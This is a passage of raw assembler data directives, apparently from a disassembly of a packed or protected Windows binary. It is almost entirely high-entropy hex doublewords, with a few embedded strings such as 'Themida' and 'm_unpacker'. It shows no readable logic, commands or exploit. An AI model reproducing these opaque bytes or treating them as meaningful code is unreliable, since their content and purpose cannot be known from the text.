7D96E07Ch, 620290C9h, 0EA70C618h, 0BD9F00B8h, 8FFDF6C8h dd 6A00D293h, 8C82F430h, 20817F21h, 0A500ED14h, 0C9E428B0h dd 5A5BC3A2h, 214209Dh, 0A100B18Eh, 19379B70h, 28EAD731h dd 1F8AC11h, 0DF8A484Bh, 0D1F051ECh, 77302215h, 0D9D8C1Ch dd 31AE3307h, 0C8CA6930h, 0DD70260Eh, 0EE8039B0h, 0AE37AB45h dd 7F09F2B0h, 0C8DB7696h, 0EE91Ch, 66695EF7h, 0F3CF42EFh dd 0E30086FCh, 91E2E705h, 7A71BD7Ah, 0F96D1DE5h, 151FC038h dd 0DE81A1AEh, 0A881E49Ch, 450E23F6h, 1117E0h, 39E085BAh dd 509C5D3Eh, 93E42E16h, 54CA1CC1h, 0E770EEF1h, 0C4154888h dd 0C5F11080h, 1F02566Fh, 0B9D3933Fh, 29885AE1h, 80E83289h dd 0DC158ACEh, 4CB0C527h, 0D8859200h, 6E4D9B9Dh, 0C23F1460h dd 3C30CB5Ah, 926F4741h, 0B07A1800h, 2481A538h, 8434CEEh dd 833B0C00h, 34B69CD4h, 0E80D896h, 56F28F68h, 3B6B0044h dd 8342E353h, 0E601F484h, 31492DD2h, 46E69B89h, 1E710048h dd 0E57E8DDDh, 870280C4h, 759D9728h, 80D966h, 74C51D1Fh dd 0DDF6CA70h, 83094D79h, 81CDAD9Dh, 0C5E4F0A8h, 0B38BFEh dd 0A528D879h, 0E5800743h, 1412B3C2h, 81F88C8Dh, 55B96700h dd 630FC9B5h, 0F9A7016h, 2D273864h, 4410E4A9h, 0E4B67B46h dd 58CC5464h, 49130747h, 0C05EBC8Bh, 5995E0E1h, 0F441EC29h dd 0E950303Fh, 1DA76AABh, 4039B80Ch, 4A294D9Ah, 9498A14Bh dd 6185A8BCh, 6CA2D0CFh, 0E0819225h, 30A09A8Fh, 9B0169DCh dd 0D8737D7h, 40305AC4h, 268B4E1Dh, 8600209Ch, 0E662EED0h dd 19D33ECh, 0DE63E11Dh, 0C9DDB916h, 8B446CD3h, 7FC28002h dd 267451BFh, 6FB48DE0h, 0D8F92320h, 9101EF16h, 24BF750Ch dd 0E870933Dh, 60340940h, 9890DEF2h, 0B8007CDBh, 5E2F7D41h dd 1F62AABh, 39DABB1Ch, 0CE7A8738h, 0A074C52h, 83ED3129h dd 0C80D2DC0h, 0DF1603ABh, 0DCF80F8Dh, 435822h, 7A805E37h dd 3D3CA2A3h, 13979C1Fh, 542B3EC0h, 7CDC667Bh, 84991DCAh dd 6090B53h, 3BE36401h, 78F8F128h, 6D0C8048h, 7AD5359h dd 22C869BEh, 9D647083h, 0C4003B8Ch, 8FD05ED4h, 4A273Dh dd 184BF7F4h, 0A6145270h, 7E4E03E4h, 91FD9020h, 0A2190006h dd 90DC2E46h, 0AE01AB96h, 1B7209D9h, 3C23E68Fh, 80BF8600h dd 61D597D4h, 49E9A909h, 7A70C47Fh, 0F071AFh, 2131E3A1h dd 0C34B189Eh, 0BBCA45Ch, 8063EB03h, 549437E8h, 53AE0E38h dd 412CB5Ah, 88EBB9EEh, 0C8F743E0h, 39004DADh, 0DF4689B0h dd 4FBC6131h, 4CC843D1h, 0E0785AE0h, 12A43A48h, 10D73798h dd 0E0F4ED60h, 69740112h, 720DD5B9h, 0EE647065h, 469FC8BCh dd 0AD8231F7h, 14E488h, 3A1D9BB5h, 37F9295Bh, 0F61A4416h dd 0C1840440h, 0F6EF2EAh, 268724Eh, 0D32C50C0h, 7958854Ch dd 7A01D364h, 0CE68252h, 9188E930h, 0DB3F00A8h, 767ACAE3h dd 0A505E570h, 67AD6B8Fh, 0EC43F4D0h, 20259539h, 0DBD8208Bh dd 670090FCh, 0BB5FF0F7h, 48E8A6h, 0B4D6E59Eh, 615B6525h dd 1433382Eh, 1748114h dd 160A557h, 70F0F542h, 63060AE8h, 3BBC56EAh, 37CC49CEh dd 0B3643C68h, 3AB69F00h, 0C8E0F615h, 74BE02C2h, 0D61A2622h dd 84F9B880h, 0B400B9BBh, 8FB52F2h, 39E9443Eh, 0CA12883Bh dd 43D8C85Eh, 36EE0E00h, 63547B52h, 0A2A503C9h, 40DB576Dh dd 0E7DE977h, 87765105h, 80BB162Bh, 6FCE426Dh, 64FDF40Ch dd 997810h, 2C4CAAE4h, 2AB7266h, 8A9820F1h, 0B5F90A00h dd 296CF837h, 0ECE80C7Dh, 0E5615245h, 4C574Ch, 0BE4FBCADh dd 0BFBA2DFh, 6746963Dh, 6444F0C4h, 0BD1300AAh, 2C43657Ch dd 7102E43Bh, 46AF8283h, 98E8C451h, 4228A65Ch, 0E370007Eh dd 7844FC84h, 0EC205D8h, 8CA98D39h, 4517C00Ch, 0D4002103h dd 0E3F9DF37h, 61437114h, 0E79BE8AEh, 5E447023h, 7D083C61h dd 7CE01378h, 6C3F54ECh, 30FCF867h, 99E06FEBh, 0DA0777BCh dd 0A88E8FB5h, 5A14003Fh, 7A78E261h, 0A08A1733h, 0F8C888FDh dd 51CFAB02h, 7BBB637h, 0B91DA21Bh, 3E158CE0h, 0AC99EC7Eh dd 1BC06109h, 4066D2C4h, 25F943C0h, 0D8839318h, 0C0E2FDE4h dd 7C962844h, 72AECA40h, 478001EEh, 66010FBDh, 1C682DBEh dd 0D42C1678h, 12461B8Fh, 0EC8CBC24h, 0D86100BBh, 1EFB86DCh dd 4CE0AFEBh, 7B89295h, 4DD0EFFEh, 989391h, 613C66E6h dd 0E479D192h, 0DB878F00h, 0F984102Dh, 0BA62007Fh, 0E5405422h dd 0E2061B6Ah, 2F4F82FFh, 60165888h, 600C1D24h, 6D821A65h dd 3590D301h, 7FBAE73Fh, 0A04703E4h, 0E812A0C0h, 128CB144h dd 0BF30081Ah, 0AD7E4E81h, 589F5AF9h, 0C6AB89B4h, 0AE003444h dd 0F8DCE599h, 1FD51DDh, 65CECB14h, 0E1A75A9Eh, 1BE84006h dd 4818D420h, 0D659BE1Ah, 0F6B73D70h, 0A6F018Ah, 0BA8E07C4h dd 0A89A3330h, 1A5F3AC0h, 84F4552Fh, 84E48044h, 29440E82h dd 1F2040ABh, 14D9367Ch, 0B6D9600h, 67C92013h, 841A00F5h dd 0EBD2BA2Ah, 12E01152h, 0EA03637Ah, 0CA016D91h, 38C9E546h dd 0F2F97D8h, 72376634h, 0BF41E680h, 70769F06h, 0F1B91A30h dd 1F024531h, 94BA0FAEh, 7F03FA06h, 4EDD2205h, 0B872DB9Ah dd 0D804CF7Ch, 8DE5A86Eh, 406D94C2h, 0C24AB3Ch, 4C8163A7h dd 0A17EF8D1h, 0E9A3Bh, 8D1D3BB3h, 328E56h, 2409B184h dd 6237B6CBh, 67730609h, 0A6B800E6h, 26B97C89h, 60F87B36h dd 0A8B04C58h, 9095B101h, 1F8AF3CEh, 16BC22C0h, 766EBD6h dd 520CD750h, 0F223ED9Ah, 6FB9E063h, 0BC1C0125h, 0FB928490h dd 50A89183h, 5E0C7D0Fh, 0B8B92480h, 4C0AE6BEh, 405BFE90h dd 552FE780h, 0E5E8DA6Bh, 9E5D8h, 662DAD48h, 88ABCF1Ah dd 8C004099h, 56C16C0Bh, 370A0306h, 5A5751F9h, 0B520C8ADh dd 0DFBF4800h, 87CE4A11h, 0AA120192h, 993A5517h, 2F2C372Dh dd 829C8257h, 80A4798Dh, 0D7D3DF84h, 0DB5FF211h, 4FDC9840h dd 0D1AB38h, 0F456EF71h, 44EF7B7h, 0AAB01C50h, 0CFDF88A0h dd 317AC90h, 64D4D166h, 80F8E401h, 7021635Ah, 8FF29C5h dd 38733328h, 22814140h, 6278E3A9h, 2682BF07h, 18DCAA51h dd 349D6864h, 580D4B4h, 0F632BDAEh, 75690530h, 0A4880A8Dh dd 46034114h, 0EA8644FFh, 0D4B6A13Fh, 0C0DCBAE0h, 6B3892B8h dd 6406A0FDh, 42EAB9F4h, 0E9C1C239h, 90800C57h, 35F76A7Ch dd 4616D700h, 41ECC2F9h, 58389768h, 0A0084ADh, 737F013h dd 30F28A8Fh, 2C501701h, 9D28878Eh, 0A0098085h, 7234A67Ah dd 2852000Ch, 7D73FF20h, 0AF13BB58h, 0D000A5D2h, 0EC498FF9h dd 8964453Dh, 0D1DE6E48h, 3FF0030Ch, 0F9A89E49h, 9F132048h dd 31041D65h, 0C0AC4079h, 0D6420500h, 768FC0C2h, 1D734712h dd 0D490C8h, 62B5F04Eh, 0E7C43E42h, 191E4CEEh, 3FC06FDDh dd 0E13BAA54h, 585D044Ah, 90F51ADFh, 0B430B660h, 0A71FC674h dd 534098CAh, 0FBC03FB1h, 0D361380Bh, 136D6702h, 0E940DCE4h dd 0AA009AB4h, 8D43FC0Ah, 0E5BCA49h, 0B73C53Bh, 4524B874h dd 0EC876F90h, 99D37357h, 0E3AC41C0h, 34BF3Eh, 4973F5E0h dd 5F4F98DBh, 91EC0E9Bh, 0E9D842F2h, 90712E5Ah, 0E638400h dd 0FF4E578h, 665A967h, 75D1BCC0h, 0C712ED77h, 8CF040BFh dd 8338B1B4h, 9F2D3C6Eh, 0F2197EC0h, 9E255600h, 0EE12321Ch dd 818F0205h, 0DFCA28Ch, 0E19510C0h, 0C91DD7Ah, 63C94581h dd 806A449Ah, 615C9073h, 155FEA72h, 0C1E43C40h, 826ECAh dd 33FCACBAh, 5DAE2CE0h, 6C465708h, 1B0A80C3h, 69DFFA85h dd 1AC2848h, 0F6424F0Eh, 0C381AEEh, 14A6BF88h, 79925D00h dd 502D55E9h, 3D266CDEh, 5680DC90h, 0F1ADC276h, 2100917Eh dd 622D85BEh, 7413ED0h, 0CADF816Dh, 0E2971466h, 82511F00h dd 102F8426h, 5F4800h, 1A6D94BAh, 0BC6AE65Ch, 0F44B430Fh dd 24C0EF12h, 14F2F732h, 0F8C45F00h, 83F13F65h, 35DE9602h dd 40713664h, 0A376FA59h, 0F004D2A3h, 557114h, 5B848F86h dd 0C2E0733Ch, 0BC89E801h, 9D422304h, 177063FCh, 88BD674Fh dd 81881810h, 215A05D0h, 300F7B07h, 0D10335D0h, 2C06C000h dd 29AFF67h, 34D00066h, 0F392D280h, 730054C1h, 0A93D1493h dd 5E6B5BCh, 0B12876C5h, 41300388h, 0CDC9BE95h, 2873CBh dd 0D5532858h, 0F281C592h, 0F0A61C75h, 6BB9825Ch, 0A058AB27h dd 48F4A486h, 360BE403h, 0B82C0D3Bh, 1714460h, 464F5785h dd 6081FB5Ah, 76025300h, 663AABC8h, 28387835h, 1398DC9Dh dd 42F286EAh, 88FC7860h, 0EB03045Ah, 0F08D7BFFh, 6769F85Dh dd 847A22h, 0CDEFFB7Ch, 78605EE9h, 2DBD48h, 46116E98h dd 0B1155BAAh, 0BA803EECh, 58B30D16h, 3F005ACDh, 5016566h dd 167BE9ECh, 0D03418F8h, 0AD3614FCh, 3769FC05h, 8702E54Ch dd 4474461Eh, 4BE8F754h, 1B91250Bh, 550064E4h, 0C1099813h dd 0A44599h, 6BB7674Ah, 46D3DB6Dh, 0F8FBDF01h, 8B1DB5BFh dd 84008022h, 0EB9C06CCh, 0F41F0519h, 0E8819BC8h, 18B1C46Fh dd 2CAC30h, 4CAA3F46h, 0F5BDECA0h, 0F82C139Dh, 214F397h dd 61F0C0D0h, 0CF25EDBBh, 650108A8h, 43058C33h, 83910h dd 7B24CD2h, 70C401A6h, 0D0909D86h, 46C0F155h, 0A0AA4DE5h dd 7E3C757Dh, 0CFBF0063h, 0E9F86F42h, 0AB1FDE59h, 0B42E461Bh dd 0F791BC60h, 0E68B0049h, 0F1A54323h, 6128EE63h, 3A09F4DFh dd 0E8DBA130h, 0FBD2CECh, 8A1107B9h, 200A9060h, 0A0003347h dd 1BC1ECDCh, 1863CACCh, 0A1F4BC66h, 80F1DE34h, 43DD7FC9h dd 5B0A42E1h, 0AFF867h, 831F77D7h, 11ADC5h, 6239ACBCh dd 0FE432710h, 3E58F109h, 330C4CEh, 0F2A4C060h, 1AC06C1Eh dd 0E316AB67h, 800017FBh, 1105FD81h, 5FD64437h, 0B978B09h dd 0C9D89815h, 890F0775h, 1F689F10h, 0CBDFAD43h, 76345EB8h dd 62E6D000h, 0BD9518F1h, 91F00Fh, 27FD8C59h, 81F4DB52h dd 20C09209h, 14F17Ch, 0B6093B6Ah, 0EE1C3252h, 9AEDF65h dd 9AA22800h, 0BBE8B903h, 66080404h, 0C914E8BDh, 4D8009Dh dd 0EC149A8Fh, 28115C0Eh, 52451501h, 0F183E2FCh, 2823E9h dd 0BA605495h, 12BD3Ah, 2616AEA6h, 0E30ABC0h, 1FCBF00h dd 1FE2CF31h, 0EA6800F5h, 0F127694Ch, 1130AAF0h, 6BC9287Fh dd 45E100A5h, 0E51E3ABBh, 47783FFBh, 8B2A5000h, 0F0766B18h dd 17420387h, 3D43A3ACh, 6A049A0h, 2AF8B60Ch, 0EAB480Dh dd 4B609131h, 0ACFD8983h, 0F6176013h, 0BD123807h, 7D328CCh dd 0B6716C8Ah, 80B81495h, 0A4FFD210h, 70AB1E3Ah, 8F510A60h dd 3ED8127Dh, 418CA5Eh dd 30C71929h, 4260F061h, 81C06266h, 0EDE000FEh, 1522885Bh dd 7800FBD4h, 4CF3EF51h, 0C5962Ah, 0EB972FF2h, 0B946A526h dd 19FE9C39h, 0F0B05144h, 0A89B9C53h, 0D5F538h, 7A8BE2B7h dd 0B3E3F43Ch, 3CC8B428h, 939A901h, 3EBB3745h, 3A083F20h dd 4880E0F3h, 0A75A4353h, 0BF006628h, 8E980181h, 6EC73C30h dd 4BC0C038h, 0B9F542EFh, 5CC86E00h, 0B825B4B6h, 0B23900AFh dd 0F3F87902h, 4008B68h, 0F2B6B5B0h, 0F2C8F26h, 852A570Bh dd 4F39A085h, 0D900C588h, 4C67C6B7h, 5D902575h, 835C08CEh dd 0A068BB2h, 4810AE79h, 0C55E0588h, 2DE8042Fh, 38C100EDh dd 432CFF5Dh, 25020030h, 0F24A73A5h, 0FA89188Ch, 0B2331898h dd 0FD2CA950h, 1C03FF28h, 0AEAC1206h, 15854A5h, 73EDC8A1h dd 828331C6h, 2F80E31h, 6CC8273Eh, 2A008B19h, 5DA12C8Ch dd 3AC61C1h, 0E8789120h, 29988EA2h, 0DD120125h, 3040E423h dd 1D79AF83h, 0B2775066h, 0A5E600AAh, 4EE949C3h, 6D54ADC9h dd 68905598h, 8EF09139h, 0C068A8F6h, 92FFEC99h, 0B2660190h dd 0B9115C0Ah, 0A55D0031h, 5545009Fh, 46C3433Ch, 711D0F20h dd 920087F1h, 94AE325Ch, 1BC23D28h, 0AB9333B8h, 0C0760049h dd 3EC75441h, 50121892h, 0BB0015BEh, 0F8BB81D0h, 0FE4A1641h dd 0A7C2008Eh, 0A8B283FCh, 56840B54h, 0FFA17000h, 0A73E6A8Bh dd 25F5002Dh, 203B4C8Fh, 59C03DC7h, 861F409Ah, 6F0100C9h dd 8F02A4B6h, 0E07397B7h, 3F3D7707h, 0CAFE74F2h, 0A1A0D0A7h dd 0B5EACC14h, 8C0C0288h, 0A3DA2303h, 0E8672ECCh, 0ECFFB22Ch dd 8AEE03BEh, 94410980h, 0F86BA7F8h, 10537712h, 184B0C03h dd 82593B81h, 190B98E0h, 910F3BE5h, 0C16B8BD7h, 50B1FE86h dd 1493820h, 72513AF9h, 20851ADBh, 1714102Ch, 0C098823Eh dd 0E803E2C2h, 3B487B51h, 0E303BAC6h, 3FEA62E5h, 6C4085BAh dd 61064402h, 0C68A314Ah, 0A8117CC1h, 1DEEE0h, 6741952Eh dd 5C8F506Bh, 5A40B703h, 0CE810925h, 0A5CB4438h, 2630FDE0h dd 0C8CD11F7h, 134E032Bh, 8853B328h, 3C465092h, 0C7243900h dd 579C07B1h, 4BC6038Ch, 3BF88E2Ch, 0C6C88ECh, 74DB488h dd 2F5361AEh, 0B8B2056h, 7A28D26Bh, 295CECBDh, 9B00705Ch dd 0D1DA18A8h, 3331AF8Ah, 8491F48Ch, 0A0DAC7h, 176BA1CDh dd 0D14C9FF3h, 0DA6CC0E4h, 3DD64EA4h, 0D0801234h, 2840F2F5h dd 793D0E7Ah, 0D4AEA45Ch, 8F010A11h, 0BE665D2Eh, 72817E09h dd 1030DCB5h, 0ED030485h, 0C2251CC7h, 0E8668104h, 8F48F003h dd 0C27F8h, 0EA882A49h, 957DA555h, 835200B0h, 3DF81BA4h dd 12FC0A1h, 0D0BE544Ah, 192260A0h, 0D13F564Dh, 2D00BDE8h dd 8132F616h, 0B0E8BF43h, 0A50E4408h, 0EE494800h, 535489FEh dd 88F928FAh, 1A910CE4h, 262920A3h, 0AE3F5900h, 2D5C8408h dd 8A2C00CDh, 0E081B6E2h, 93002ADDh, 0FE18792Eh, 0C50F02FFh dd 30E8DB39h, 0D4D41A8h, 0DD272D00h, 3F347246h, 0A0483C1Dh dd 0D35331E0h, 187C85D4h, 0F0C8D906h, 1F9F523h, 0A5E4D2EFh dd 8E28A37Fh, 0DCD75531h, 0C571A080h, 44843141h, 2306A5CBh dd 0AE730112h, 7B2B0581h, 2029FF24h, 0A6B1B5A0h, 88F6610Fh dd 0D2C51D4Fh, 0A840BB11h, 7295A3D4h, 0DD7C33h, 5840BEFh dd 5661AF5Bh, 0B64BD31Dh, 0C2F2200h, 0A3C6A701h, 1EE9F8C8h dd 807EC0h, 277CBEB2h, 0BA185744h, 0C8D159C0h, 0E901279h dd 0F31640F6h, 70810587h, 260BB8BCh, 0DC04C824h, 58133E80h dd 7C474Ah, 0C98AFD11h, 48DD2EA8h, 5315B30Bh, 0D2049018h dd 58A70037h, 54C5295Bh, 0B700E4FFh, 0FE975028h, 0E33D549h dd 82211CF9h, 0BFEE8B60h, 1000927Fh, 0AD6C4472h, 0E81D49B8h dd 4B10C16Ah, 1954AD2h, 7A30B09Bh, 0D13C00D7h, 0B9E641A0h dd 4E18AE70h, 0B34171AFh, 0FE6E0F20h, 0C88E87D0h, 401D1C6Fh dd 1B45BB74h, 1733494Ah, 8B2D61AAh, 28EE8892h, 0E28B03E3h dd 9DBDFEEAh, 0AA3D211Eh, 65C93E00h, 73A54090h, 67230002h dd 12258456h, 8B011939h, 0AB4ACA28h, 89817AB0h, 466A4B49h dd 80DD3063h, 7B0093E6h, 0D318C368h, 0C8DEA1Eh, 5E149E28h dd 0EC3149E1h, 6DB07999h, 5C03498Ah, 0CE1A00ACh, 37421DBAh dd 0A6232C00h, 75E324C4h, 0CF160CE2h, 6A304ED3h, 3083000h dd 6EDE3AA9h, 9FAC00B5h, 0D76DEB4Dh, 0FB7D6B2Ch, 0F0BDA030h dd 28B7D228h, 5CB59Dh, 4A263686h, 0E3B80EA3h, 33110D09h dd 0AEC836Bh, 8CE4E8ACh, 8A9D3A9Eh, 0B16D4502h, 0E090B0DDh dd 3A070FFEh, 0D2FB3CEBh, 84FE0A0h, 4966014Ch, 0C16DD15Ah dd 3CF05091h, 1E0C4B4Dh, 41682A92h, 0B5390095h, 0AE9181DFh dd 4D61D33Fh, 0FBB836D9h, 1E98C0h, 3355518Dh, 15494B18h dd 98C9E8A4h, 7D280484h, 408CD24Ah, 284A1314h, 60A9EC00h dd 0B03FB356h, 0D329C170h, 0D09D7A09h, 33034318h, 0B02D31F5h dd 0CE21007Bh, 422406DEh, 98F2862Ch, 43CCDC00h, 0DF919962h dd 156F0074h, 4249EFD9h, 14E822DDh, 0ED4C9550h, 15894660h dd 0E010EB27h, 0D35E18E5h, 94F71942h, 80D6F507h, 980AE33Fh dd 18B8A214h, 1B498FB4h, 0E90C00ACh, 2E9EADA3h, 0BE26E707h dd 5103AAE6h, 797B08Ch, 2D8543B1h, 0BDE39118h, 5B418093h dd 0ECABDB21h, 8CE06CBh, 813FD34Bh, 0E4769300h, 12B5739Bh dd 0B4E33B3Bh, 4E2039EFh, 1F0F5BE1h, 0F7134503h, 0A2597532h dd 0D540403Bh, 12BE7674h, 4054D3BBh, 2AC35568h, 0CA0006ECh dd 994689F6h, 0FEDB865h, 0E222B788h, 0DCDBCFC0h, 2412128Bh dd 0C40926Ch, 3502C107h, 481A00FCh, 0EF768DD7h, 7BE4861Ch dd 0D530E461h, 0DD10936Bh, 2738FB54h, 422500A7h, 62BF831Bh dd 4B9801F1h, 0D29F171Dh, 16998255h, 0E0F0577Ch, 0EA19D44h dd 20EFF67Eh, 5AC0472Fh, 6D2AC8BFh, 4431C964h, 7F068DFCh dd 0B8A914E5h, 92E4C073h, 0A25E63Ch, 84BEED44h, 0CD74B800h dd 55FE9EBBh, 46F0AC40h, 0C33B000Dh, 7617DA4h, 95099E9Ah dd 1014929Dh, 0D47BF17Ch, 9930B650h, 0BCEBA579h, 7766CE00h dd 4283F532h, 543E4C4Dh, 0CC75530Ah, 0FFFF5F01h, 6Ch, 3CE90000h dd 73000033h, 0CBFFFAh, 3A000000h, 581Ah, 2 dup(0) dd 0CF000000h, 144F2Bh, 0 dd 0E9000000h, 98FFFF99h, 0 dd 4B000000h, 4Dh, 3 dup(0) dd 68000000h, 221h, 0 dd 0C000000h, 57FEh, 7 dup(0) dd 5D000000h, 32597Fh, 4 dup(0) dd 0A6000000h, 0FFFF81h, 4 dup(0) dd 4000000h, 7FFE03h, 6 dup(0) dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 7Dh dup(0) dd 0FD000000h, 0D4005788h, 0FFFF44h, 0 dd 0D4000000h, 54000000h, 12FFh, 8 dup(0) dd 9D000000h, 7944CDh, 0 dd 3F000000h, 39005961h, 1A48D7h, 2 dup(0) dd 0A4000000h, 0 dd 0FE000000h, 0FFFFFFh, 0 dd 4000000h, 6A7FFE03h, 77D4C9h, 7 dup(0) dd 0E000000h, 6Bh, 0 dd 1000000h, 0 dd 88000000h, 4FFFF9Bh, 7FFE03h, 5 dup(0) dd 0B877DD00h, 0A1F770Bh, 0B00A08Ch, 4D01F7h, 0 dd 1A000000h, 43EE004h, 7FFE03h, 2 dup(0) dd 4000000h, 7FFE03h, 4 dup(0) dd 40000000h, 1C41Fh, 2 dup(0) dd 6000000h, 0 dd 0E4000000h, 0FFA882h, 5 dup(0) dd 97000010h, 5B0057F4h, 7D00A091h, 0FFA57Ch, 11000000h dd 0FEF85Eh, 2 dup(0) dd 5B000000h, 3, 0DD000000h, 0A069h, 30000000h, 60312D34h dd 0E025CAh, 2 dup(0) dd 0B5000000h, 0F642E9h, 2 dup(0) dd 54000000h, 696D6568h, 6164h, 29h dup(0) dd 0E6000000h, 9F0Fh, 0 dd 68000000h, 66h, 4 dup(0) dd 7FFD50h, 0 dd 0DD000000h, 9500A069h, 0A499h, 2 dup(0) dd 9C000000h, 2496Bh, 3 dup(0) dd 22000000h, 22222222h, 222222h, 3 dup(0) dd 0B5000000h, 75h, 5 dup(0) dd 0C7000000h, 5B84h, 7 dup(0) dd 1D000000h, 5ADBh, 3 dup(0) dd 0F000000h, 0A0A0h, 18000000h, 0C5E733h, 7 dup(0) dd 35000000h, 0EC4FE345h, 92FFA76Bh, 0A022h, 6 dup(0) dd 0CC000000h, 77DD5Eh, 43000000h, 56h, 3 dup(0) dd 10000000h, 1FDA34h, 4000000h, 7FFE03h, 0Bh dup(0) dd 70000000h, 0F700563Fh, 0F7EEAB7Dh, 77F77Dh, 0Dh dup(0) dd 4000000h, 0F7FFE03h, 5789h, 0F000000h, 0A0A0h, 4000000h dd 7FFE03h, 0AB024100h, 399A2D98h, 3 dup(0) dd 0E9000000h, 0FFFF99h, 8 dup(0) dd 44000000h, 77E7A1h, 2 dup(0) aB__ db 'ì.\.[',0 align 4 dd 4000000h, 6C7FFE03h, 7C000003h, 0FF000011h, 0FFFFFFh dd 4 dup(0) dd 0A4000000h, 4 dup(0) dd 1000000h, 0B4h dup(0) dd 0AF000000h, 5446h, 18000000h, 4021034h, 0F7FFE03h, 77F52Eh dd 3 dup(0) dd 0AC000000h, 6F43F3h, 4000000h, 9A7FFE03h, 57FEh, 0 dd 0EC000000h, 6FA00Ah, 2 dup(0) dd 0FD000000h, 5788h, 4 dup(0) dd 0AC000000h, 5 dup(0) dd 0FD000000h, 5788h, 4000000h, 7FFE03h, 99000000h, 7F77E7A0h dd 58ABh, 3 dup(0) dd 0E0000000h, 5A2Fh, 18000000h, 0FFFFF1h, 0Ah dup(0) dd 0DD000000h, 0A069h, 3 dup(0) dd 9F00h, 3 dup(0) dd 0E0000000h, 12FFh, 5 dup(0) dd 8F000000h, 3AFFFF15h, 2300572Bh, 5700h, 0 dd 54000000h, 12FFh, 2 dup(0) dd 4A000000h, 5A77h, 63000000h, 5477FF79h, 572Bh, 4 dup(0) dd 4000h, 73000000h, 0CBF7A8h, 0 dd 0DF000000h, 0CAA9C530h, 0AEB1h, 3 dup(0) dd 4F000000h, 0FFA71Bh, 0A000000h, 0B57D71EEh, 77E75Ch dd 0Dh dup(0) dd 0F1000000h, 0F6E7C4h, 3 dup(0) dd 94000000h, 5B4Eh, 0 dd 68000000h, 9FB1h, 0 dd 99000000h, 3AC04Fh, 3 dup(0) dd 51000000h, 0FEFA9Fh, 2 dup(0) dd 73000000h, 0CBFFFAh, 4 dup(0) dd 37000000h, 0A0A0h, 0Bh dup(0) dd 0BA000000h, 39574Fh, 5 dup(0) dd 0F0000000h, 77DD59h, 0Ch dup(0) dd 0DB000000h, 5A75h, 0 dd 0F7000000h, 7B4B80h, 5 dup(0) dd 0E9000000h, 10FFFF99h, 8019C8h, 3 dup(0) dd 77000000h, 5AD7h, 2 dup(0) dd 6A000000h, 77D4C9h, 2 dup(0) dd 0FC000380h, 8001FCh, 44000000h, 0B077E7A1h, 190FFh dd 3 dup(0) dd 4000000h, 73000000h, 0CBFFFAh, 0E000000h, 7700006Bh dd 12E3C410h, 5798h, 55000000h, 65D267h, 0FC000000h, 8001FCh dd 0 dd 21000000h, 6Eh, 0 dd 61000000h, 5B2Ch, 0 dd 31000000h, 0FFA75Bh, 0 dd 3E000000h, 0A6036Ah, 4 dup(0) dd 0CD000000h, 77E776h, 5 dup(0) dd 0BD000000h, 1Fh, 3 dup(0) dd 89000000h, 1, 0Fh dup(0) dd 68000000h, 77E821h, 3 dup(0) dd 4000000h, 7FFE03h, 9D000000h, 881886h, 3 dup(0) dd 0DD000000h, 6C9948h, 4 dup(0) dd 81000000h, 88196Ah, 0B3000000h, 7377F7EBh, 5BC4h, 0CD000000h dd 7D881132h, 2C005A56h, 0BBh, 6C000000h, 82000000h, 0FC9E2CD8h dd 8001FCh, 3 dup(0) dd 61000000h, 0F5028C0Ch, 0FFEFEDh, 52000000h, 61747365h dd 70417472h, 78652E70h, 65h, 0 dd 0AB000000h, 7F50CBh, 82000000h, 77E78Bh, 4 dup(0) dd 0E000000h, 6Bh, 64000000h, 0E977E821h, 8CFFFF99h, 13h dup(0) dd 0B0000000h, 1E0FFh, 9 dup(0) dd 4025A00h, 7FFE03h, 0 dd 0DC000000h, 0FF005822h, 36FEF8h, 2 dup(0) dd 4000000h, 7FFE03h, 7 dup(0) dd 26000000h, 57E0h, 6 dup(0) dd 32000000h, 7263E4h, 1000000h, 0 dd 40000000h, 76B41Bh, 0 dd 23000000h, 5700h, 0 dd 25C00h, 5 dup(0) dd 0B5000000h, 0FF5F6Dh, 3D000000h, 5B4Eh, 12h dup(0) dd 1000000h, 3 dup(0) dd 1000000h, 34000000h, 0FD6DE231h, 0D277E7A5h, 0FC3D84h dd 6 dup(0) dd 0DC000000h, 36h, 2 dup(0) dd 0FF000000h, 0FFh, 4 dup(0) dd 0FD000000h, 5788h, 54000000h, 12FFh, 0DC000000h, 36h dd 0 dd 0FC000000h, 8001FCh, 3 dup(0) dd 23000000h, 5417h, 0CC000000h, 4BA4C7Dh, 7FFE03h, 4 dup(0) dd 0C4000000h, 12FFh, 3 dup(0) dd 25A00h, 0A000000h, 0A08Ch, 3 dup(0) dd 0DA000000h, 0BAF56Bh, 0A4000000h, 12FFh, 2 dup(0) dd 0FC000000h, 0BFFFh, 3 dup(0) dd 3A000000h, 7D33A0h, 9 dup(0) dd 14000000h, 32004E00h, 6800595Eh, 66h, 6 dup(0) dd 0E000000h, 6Bh, 3 dup(0) dd 0E000000h, 3700006Bh, 541Fh, 0 dd 81000000h, 77C1A8h, 0Fh dup(0) dd 1000000h, 2 dup(0) dd 0E8000000h, 0A123h, 36h dup(0) dd 37000000h, 0A09Ch, 0F0000000h, 5427h, 0 dd 1E000000h, 29B0B886h, 0C4000009h, 0A070h, 0F6000000h dd 0F07FFEBFh, 12FFh, 2 dup(0) dd 11000000h, 68DF8h, 0A6000000h, 0FFFF81h, 5 dup(0) dd 4000000h, 7FFE03h, 3 dup(0) dd 4000000h, 7FFE03h, 0 dd 34000000h, 0A2B1h, 11h dup(0) dd 9C77E600h, 2496Bh, 3B000000h, 5400A03Eh, 5923h, 9 dup(0) dd 54000000h, 77F512h, 2 dup(0) dd 9C000000h, 2496Bh, 0 dd 2000000h, 0F98E1Ah, 0Ch dup(0) dd 68000000h, 0E800A115h, 78000012h, 10h, 0 dd 90000000h, 12FFh, 3 dup(0) dd 0E8000000h, 0BA000007h, 0FF5F6Dh, 7 dup(0) dd 9000000h, 0C2B773h, 34000000h, 14h, 4000000h, 0E87FFE03h dd 77E82Fh, 0C8000000h, 595Eh, 3 dup(0) dd 0CC000000h, 27949h, 0F8000000h, 8D000006h, 88678Dh dd 0F7000000h, 5B83h, 4 dup(0) dd 64000000h, 0A115h, 6 dup(0) dd 47000000h, 5903h, 0D8000000h, 0EDBh, 0F1000000h, 0F6E7C4h dd 0AE000000h, 547266F7h, 540Bh, 3 dup(0) dd 53000000h, 0ED00540Bh, 0FFAC01h, 47000000h, 2BF3A1h dd 5 dup(0) dd 57000000h, 0E977E7C6h, 1000048h, 9D000000h, 57D6h, 58000000h dd 5B19h, 0F000000h, 0A0A0h, 0 dd 0B3000000h, 0A0005A81h, 0 dd 41000000h, 5779h, 